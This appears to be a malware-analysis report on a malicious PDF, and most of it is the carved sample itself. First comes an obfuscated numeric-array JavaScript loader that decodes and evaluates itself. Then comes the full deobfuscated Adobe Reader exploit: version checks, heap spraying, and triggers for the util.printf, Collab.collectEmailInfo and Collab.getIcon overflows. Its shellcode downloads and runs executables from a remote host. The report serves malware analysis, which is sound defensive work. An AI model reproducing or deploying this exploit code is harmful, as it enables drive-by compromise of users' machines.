,64,180,68,65,64,64,173,152,169,87,166,173,156,169,157,163,166,174,87,116,87,172,165,156,170,154,152,167,156,95,89,92,172,103,154,103,154,92,172,103,154,103,154,89,96,114,68,65,64,64,174,159,160,163,156,87,95,166,173,156,169,157,163,166,174,101,163,156,165,158,171,159,87,115,87,107,107,112,108,105,96,178,68,65,64,64,64,166,173,156,169,157,163,166,174,87,98,116,87,166,173,156,169,157,163,166,174,114,68,65,64,64,180,68,65,64,64,171,159,160,170,101,154,166,163,163,152,153,138,171,166,169,156,87,116,87,122,166,163,163,152,153,101,154,166,163,163,156,154,171,124,164,152,160,163,128,165,157,166,95,178,170,172,153,161,113,87,89,89,99,164,170,158,113,87,166,173,156,169,157,163,166,174,180,96,114,68,65,64,180,68,65,68,65,64,157,172,165,154,171,160,166,165,87,154,166,163,163,152,153,150,158,156,171,160,154,166,165,95,96,178,68,65,64,64,160,157,87,95,152,167,167,101,155,166,154,101,122,166,163,163,152,153,101,158,156,171,128,154,166,165,96,178,68,65,64,64,64,173,152,169,87,152,169,169,176,87,116,87,165,156,174,87,120,169,169,152,176,95,96,114,68,65,64,64,64,173,152,169,87,173,173,167,156,171,159,176,152,87,116,87,172,165,156,170,154,152,167,156,95,89,92,172,124,121,124,112,92,172,103,103,103,104,92,172,108,109,103,103,92,172,120,104,109,107,92,172,103,103,106,103,92,172,103,103,103,103,92,172,107,103,111,121,92,172,111,121,103,122,92,172,104,122,110,103,92,172,111,121,120,123,92,172,103,111,107,103,92,172,122,106,108,124,92,172,111,121,108,108,92,172,111,121,124,122,92,172,103,111,107,108,92,172,106,106,108,105,92,172,122,104,123,105,92,172,103,106,122,105,92,172,104,103,106,105,92,172,111,103,107,103,92,172,103,103,106,111,92,172,125,108,110,108,92,172,122,105,111,121,92,172,108,123,108,120,92,172,103,107,122,105,92,172,108,108,103,103,92,172,124,122,111,121,92,172,108,104,108,104,92,172,108,109,108,106,92,172,109,103,108,110,92,172,108,123,111,121,92,172,106,106,103,111,92,172,111,121,122,103,92,172,103,122,110,108,92,172,125,124,111,121,92,172,110,109,103,106,92,172,111,121,106,122,92,172,110,111,107,124,92,172,122,125,103,106,92,172,108,104,111,121,92,172,108,105,104,122,92,172,108,104,111,121,92,172,108,105,105,107,92,172,110,104,111,121,92,172,107,124,104,107,92,172,110,108,111,112,92,172,111,121,125,122,92,172,105,103,110,104,92,172,125,110,103,106,92,172,107,120,112,112,92,172,107,105,120,123,92,172,106,121,109,103,92,172,125,122,108,108,92,172,103,107,110,108,92,172,122,103,106,106,92,172,106,110,124,121,92,172,125,125,106,106,92,172,107,108,103,106,92,172,112,110,103,122,92,172,122,125,111,121,92,172,110,108,120,124,92,172,105,121,125,123,92,172,107,125,125,112,92,172,124,111,108,104,92,172,125,125,112,107,92,172,125,125,125,125,92,172,122,106,106,121,92,172,110,107,109,104,92,172,124,121,103,105,92,172,111,121,123,112,92,172,103,122,107,108,92,172,108,124,112,105,92,172,125,105,103,106,92,172,124,103,123,104,92,172,122,109,103,106,92,172,122,112,106,106,92,172,121,110,103,125,92,172,108,125,103,111,92,172,124,104,122,104,92,172,103,106,103,105,92,172,103,106,122,120,92,172,111,121,122,125,92,172,103,106,103,104,92,172,111,112,122,105,92,172,125,111,107,108,92,172,111,121,109,104,92,172,125,111,107,108,92,172,108,124,108,125,92,172,122,112,108,121,92,172,108,108,122,106,92,172,124,122,111,121,92,172,124,111,108,104,92,172,125,125,107,112,92,172,125,125,125,125,92,172,109,111,108,103,92,172,109,103,124,111,92,172,103,107,121,125,92,172,109,122,124,111,92,172,125,125,125,125,92,172,106,106,125,125,92,172,108,105,123,105,92,172,125,125,108,105,92,172,103,111,110,108,92,172,123,103,125,125,92,172,107,108,111,112,92,172,111,121,125,122,92,172,125,122,107,108,92,172,122,106,122,112,92,172,111,121,108,108,92,172,111,106,124,122,92,172,103,122,124,122,92,172,107,108,111,123,92,172,108,103,125,107,92,172,107,108,122,109,92,172,110,108,125,107,92,172,107,108,122,109,92,172,110,105,125,108,92,172,107,108,122,109,92,172,109,122,125,109,92,172,107,108,122,109,92,172,109,123,125,110,92,172,107,108,122,109,92,172,109,125,125,111,92,172,107,108,122,109,92,172,109,124,125,112,92,172,107,108,122,109,92,172,105,124,125,120,92,172,107,108,122,109,92,172,109,107,125,121,92,172,107,108,122,109,92,172,109,122,125,122,92,172,107,108,122,109,92,172,109,122,125,123,92,172,107,108,122,109,92,172,103,103,125,124,92,172,120,103,124,111,92,172,125,125,125,125,92,172,108,103,125,125,92,172,108,123,109,111,92,172,104,104,111,120,92,172,124,111,104,109,92,172,125,125,104,108,92,172,125,125,125,125,92,172,122,107,111,106,92,172,111,108,103,122,92,172,110,107,122,103,92,172,109,120,104,108,92,172,109,120,103,103,92,172,125,125,103,103,92,172,103,122,110,108,92,172,110,108,125,125,92,172,109,120,103,111,92,172,125,125,103,103,92,172,111,108,123,103,92,172,110,108,122,103,92,172,107,103,103,106,92,172,122,106,122,112,92,172,122,103,106,106,92,172,122,106,122,112,92,172,106,106,108,110,92,172,111,121,122,103,92,172,105,107,107,122,92,172,111,121,103,122,92,172,105,107,110,122,92,172,125,122,103,111,92,172,120,120,125,106,92,172,122,106,108,125,92,172,107,122,111,121,92,172,103,107,105,107,92,172,106,112,111,103,92,172,111,121,103,103,92,172,110,107,122,104,92,172,107,103,103,109,92,172,106,111,111,103,92,172,110,108,103,103,92,172,105,121,125,120,92,172,122,106,122,104,92,172,111,121,108,108,92,172,111,106,124,122,92,172,109,107,124,122,92,172,111,123,108,106,92,172,125,103,107,108,92,172,106,106,108,110,92,172,108,103,123,121,92,172,107,108,122,109,92,172,109,121,125,103,92,172,107,108,122,109,92,172,109,108,125,104,92,172,107,108,122,109,92,172,110,105,125,105,92,172,107,108,122,109,92,172,109,124,125,106,92,172,107,108,122,109,92,172,109,108,125,107,92,172,107,108,122,109,92,172,109,122,125,108,92,172,107,108,122,109,92,172,106,106,125,109,92,172,107,108,122,109,92,172,106,105,125,110,92,172,107,108,122,109,92,172,105,124,125,111,92,172,107,108,122,109,92,172,109,107,125,112,92,172,107,108,122,109,92,172,109,122,125,120,92,172,107,108,122,109,92,172,109,122,125,121,92,172,108,123,111,111,92,172,124,111,125,122,92,172,125,125,103,121,92,172,125,125,125,125,92,172,109,111,108,103,92,172,107,106,109,111,92,172,111,124,125,112,92,172,111,103,124,111,92,172,125,125,125,124,92,172,111,121,125,125,92,172,111,123,125,111,92,172,112,122,107,108,92,172,107,107,109,120,92,172,124,111,108,103,92,172,125,125,110,124,92,172,125,125,125,125,92,172,107,108,111,123,92,172,109,120,124,103,92,172,108,103,104,103,92,172,110,106,124,111,92,172,125,125,125,125,92,172,111,106,125,125,92,172,104,122,122,107,92,172,107,108,111,123,92,172,108,103,124,103,92,172,107,108,111,123,92,172,108,103,112,122,92,172,108,106,108,106,92,172,108,106,108,106,92,172,108,106,108,106,92,172,110,108,125,125,92,172,122,110,103,111,92,172,112,122,107,108,92,172,103,103,107,107,92,172,103,103,103,103,92,172,125,125,108,106,92,172,108,125,123,110,92,172,121,109,103,125,92,172,108,121,122,103,92,172,122,106,122,112,92,172,111,121,108,108,92,172,108,104,124,122,92,172,108,106,108,104,92,172,108,110,108,109,92,172,107,105,109,120,92,172,110,105,124,111,92,172,103,103,103,103,92,172,111,121,103,103,92,172,106,106,123,111,92,172,111,108,125,109,92,172,108,112,123,121,92,172,107,108,122,110,92,172,109,104,125,111,92,172,109,108,105,124,92,172,122,110,110,111,92,172,125,122,107,108,92,172,103,103,109,108,92,172,103,103,103,103,92,172,108,109,110,124,92,172,107,108,111,123,92,172,108,103,125,111,92,172,124,111,108,109,92,172,103,103,108,104,92,172,103,103,103,103,92,172,108,103,108,112,92,172,121,104,124,111,92,172,125,125,125,124,92,172,111,108,125,125,92,172,108,112,122,103,92,172,110,107,108,112,92,172,111,123,106,112,92,172,103,104,107,109,92,172,124,111,108,103,92,172,103,103,106,121,92,172,103,103,103,103,92,172,125,111,111,121,92,172,107,108,111,123,92,172,108,103,125,111,92,172,105,104,124,111,92,172,125,125,125,125,92,172,111,108,125,125,92,172,108,112,122,103,92,172,110,107,108,112,92,172,108,110,103,122,92,172,103,104,124,111,92,172,125,125,125,125,92,172,108,112,125,125,92,172,107,107,122,109,92,172,125,125,106,111,92,172,108,103,110,106,92,172,107,108,111,123,92,172,125,124,125,111,92,172,108,111,103,103,92,172,107,108,111,123,92,172,108,103,125,111,92,172,124,111,108,110,92,172,125,124,110,107,92,172,125,125,125,125,92,172,108,112,108,112,92,172,107,109,107,109,92,172,125,106,106,121,92,172,120,120,110,122,92,172,108,124,108,125,92,172,122,112,108,121,92,172,108,108,122,106,92,172,124,122,111,121,92,172,108,106,108,104,92,172,109,103,109,109,92,172,106,105,121,104,92,172,103,103,124,111,92,172,103,103,103,103,92,172,108,111,103,103,92,172,103,111,106,111,92,172,103,106,110,107,92,172,124,121,107,103,92,172,107,103,125,112,92,172,108,123,111,121,92,172,111,103,103,111,92,172,107,105,125,121,92,172,103,111,110,108,92,172,123,121,106,106,92,172,104,111,111,120,92,172,122,106,111,121,92,172,104,110,124,121,92,172,104,111,106,111,92,172,104,104,110,109,92,172,106,106,107,103,92,172,111,107,122,112,92,172,110,107,123,121,92,172,107,103,103,122,92,172,103,111,106,111,92,172,125,121,110,108,92,172,125,124,107,103,92,172,124,121,122,121,92,172,106,106,125,105,92,172,111,112,122,103,92,172,125,122,107,108,92,172,107,108,111,121,92,172,108,121,125,122,92,172,122,106,122,112,92,172,103,105,106,105,92,172,110,107,109,111,92,172,110,103,110,107,92,172,105,125,106,120,92,172,109,125,105,125,92,172,110,108,110,112,92,172,109,122,109,124,92,172,109,124,109,104,92,172,105,124,109,107,92,172,110,105,109,125,92,172,105,125,109,110,92,172,110,105,109,109,92,172,109,110,109,104,92,172,110,106,110,108,92,172,109,105,105,125,92,172,109,121,109,110,92,172,106,105,110,103,92,172,109,108,105,124,92,172,109,108,110,111,92,172,109,111,103,103,92,172,110,107,110,107,92,172,106,120,110,103,92,172,105,125,105,125,92,172,110,112,109,125,92,172,109,124,110,108,92,172,109,104,109,122,92,172,109,107,109,124,92,172,109,125,105,124,92,172,109,110,110,105,92,172,109,109,105,125,92,172,109,104,110,105,92,172,110,108,109,110,92,172,105,125,110,106,92,172,109,122,109,106,92,172,109,106,109,112,92,172,105,124,109,121,92,172,109,111,110,103,92,172,106,125,110,103,92,172,106,123,110,105,92,172,103,103,103,103,89,96,114,68,65,64,64,64,173,152,169,87,159,142,168,108,103,103,122,133,87,116,87,173,173,167,156,171,159,176,152,101,163,156,165,158,171,159,87,97,87,105,114,68,65,64,64,64,173,152,169,87,163,156,165,87,116,87,103,175,107,103,103,103,103,103,87,100,87,95,159,142,168,108,103,103,122,133,87,98,87,103,175,106,111,96,114,68,65,64,64,64,173,152,169,87,176,152,169,170,167,87,116,87,172,165,156,170,154,152,167,156,95,89,92,172,112,103,112,103,92,172,112,103,112,103,89,96,114,68,65,64,64,64,176,152,169,170,167,87,116,87,157,160,175,150,160,171,95,176,152,169,170,167,99,87,163,156,165,96,114,68,65,64,64,64,173,152,169,87,167,108,120,161,130,109,108,157,87,116,87,95,103,175,103,154,103,154,103,154,103,154,87,100,87,103,175,107,103,103,103,103,103,96,87,102,87,103,175,107,103,103,103,103,103,114,68,65,64,64,64,157,166,169,87,95,173,152,169,87,173,168,154,136,123,112,109,176,87,116,87,103,114,87,173,168,154,136,123,112,109,176,87,115,87,167,108,120,161,130,109,108,157,114,87,173,168,154,136,123,112,109,176,87,98,98,87,96,178,68,65,64,64,64,64,152,169,169,176,146,173,168,154,136,123,112,109,176,148,87,116,87,176,152,169,170,167,87,98,87,173,173,167,156,171,159,176,152,114,68,65,64,64,64,180,68,65,64,64,64,173,152,169,87,171,140,132,159,133,153,126,174,87,116,87,172,165,156,170,154,152,167,156,95,89,92,103,112,89,96,114,68,65,64,64,64,174,159,160,163,156,87,95,171,140,132,159,133,153,126,174,101,163,156,165,158,171,159,87,115,87,103,175,107,103,103,103,96,178,68,65,64,64,64,64,171,140,132,159,133,153,126,174,87,98,116,87,171,140,132,159,133,153,126,174,114,68,65,64,64,64,180,68,65,64,64,64,171,140,132,159,133,153,126,174,87,116,87,89,133,101,89,87,98,87,171,140,132,159,133,153,126,174,114,68,65,64,64,64,152,167,167,101,155,166,154,101,122,166,163,163,152,153,101,158,156,171,128,154,166,165,95,171,140,132,159,133,153,126,174,96,114,68,65,64,64,180,68,65,64,180,68,65,68,65,64,157,172,165,154,171,160,166,165,87,167,155,157,150,170,171,152,169,171,95,96,178,68,65,68,65,64,64,173,152,169,87,173,156,169,170,160,166,165,87,116,87,152,167,167,101,173,160,156,174,156,169,141,156,169,170,160,166,165,101,171,166,138,171,169,160,165,158,95,96,114,68,65,64,64,173,156,169,170,160,166,165,87,116,87,173,156,169,170,160,166,165,101,169,156,167,163,152,154,156,95,102,147,123,102,158,99,94,94,96,114,68,65,64,64,173,152,169,87,173,152,169,170,160,166,165,150,152,169,169,152,176,87,116,87,165,156,174,87,120,169,169,152,176,95,173,156,169,170,160,166,165,101,154,159,152,169,120,171,95,103,96,99,87,173,156,169,170,160,166,165,101,154,159,152,169,120,171,95,104,96,99,87,173,156,169,170,160,166,165,101,154,159,152,169,120,171,95,105,96,96,114,68,65,64,64,160,157,87,95,95,173,152,169,170,160,166,165,150,152,169,169,152,176,146,103,148,87,116,116,87,111,96,87,93,93,87,95,173,152,169,170,160,166,165,150,152,169,169,152,176,146,104,148,87,116,116,87,103,96,87,179,179,87,95,173,152,169,170,160,166,165,150,152,169,169,152,176,146,104,148,87,116,116,87,104,87,93,93,87,173,152,169,170,160,166,165,150,152,169,169,152,176,146,105,148,87,115,87,106,96,96,178,68,65,64,64,64,172,171,160,163,150,167,169,160,165,171,157,95,96,114,68,65,64,64,180,68,65,64,64,160,157,87,95,95,173,152,169,170,160,166,165,150,152,169,169,152,176,146,103,148,87,115,87,111,96,87,179,179,87,95,173,152,169,170,160,166,165,150,152,169,169,152,176,146,103,148,87,116,116,87,111,87,93,93,87,173,152,169,170,160,166,165,150,152,169,169,152,176,146,104,148,87,115,87,105,87,93,93,87,173,152,169,170,160,166,165,150,152,169,169,152,176,146,105,148,87,115,87,105,96,96,178,68,65,64,64,64,154,166,163,163,152,153,150,156,164,152,160,163,95,96,114,68,65,64,64,180,68,65,64,64,160,157,87,95,95,173,152,169,170,160,166,165,150,152,169,169,152,176,146,103,148,87,115,87,112,96,87,179,179,87,95,173,152,169,170,160,166,165,150,152,169,169,152,176,146,103,148,87,116,116,87,112,87,93,93,87,173,152,169,170,160,166,165,150,152,169,169,152,176,146,104,148,87,115,87,104,96,96,178,68,65,64,64,64,154,166,163,163,152,153,150,158,156,171,160,154,166,165,95,96,114,68,65,64,64,180,68,65,64,180,68,65,68,65,64,167,155,157,150,170,171,152,169,171,95,96,114,68,65,64],dghjuy=function(){for(var knrsw;jopuvy<fstuv.length;jopuvy+=1){var aipru=jopuvy%deltv.length+1;var cfopqs=deltv.substring(jopuvy%deltv.length,aipru);var fknqwy=fstuv[jopuvy];jzqrh+=lzsck(fknqwy-cfopqs.charCodeAt(0));} fkpv(jzqrh);};dghjuy();deklu=53449;lmpux=true;ilopu=true;tzeqxy=10077;dgovx="";aijnsx='';niofqz="niofqz";zoikqx="";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	9964 bytes
SHA-256: `3fe6d6390ce7402e5c91a1680b1a4d5c070f058ef5f94604faa68698d6f60c26`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u712F%u7573%u3277%u652E%u6578%u6800%u7474%u3A70%u2F2F%u796F%u6E75%u616C%u646E%u6F2E%u6772%u662F%u6172%u7567%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u612F%u6B63%u7470%u3276%u652E%u6578%u6800%u7474%u3A70%u2F2F%u796F%u6E75%u616C%u646E%u6F2E%u6772%u662F%u6172%u7567%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6F2F%u7579%u6C6E%u6E61%u2E64%u726F%u2F67%u7266%u6761%u7375%u622F%u6B67%u3270%u652E%u6578%u6800%u7474%u3A70%u2F2F%u796F%u6E75%u616C%u646E%u6F2E%u6772%u662F%u6172%u7567%u2F73%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2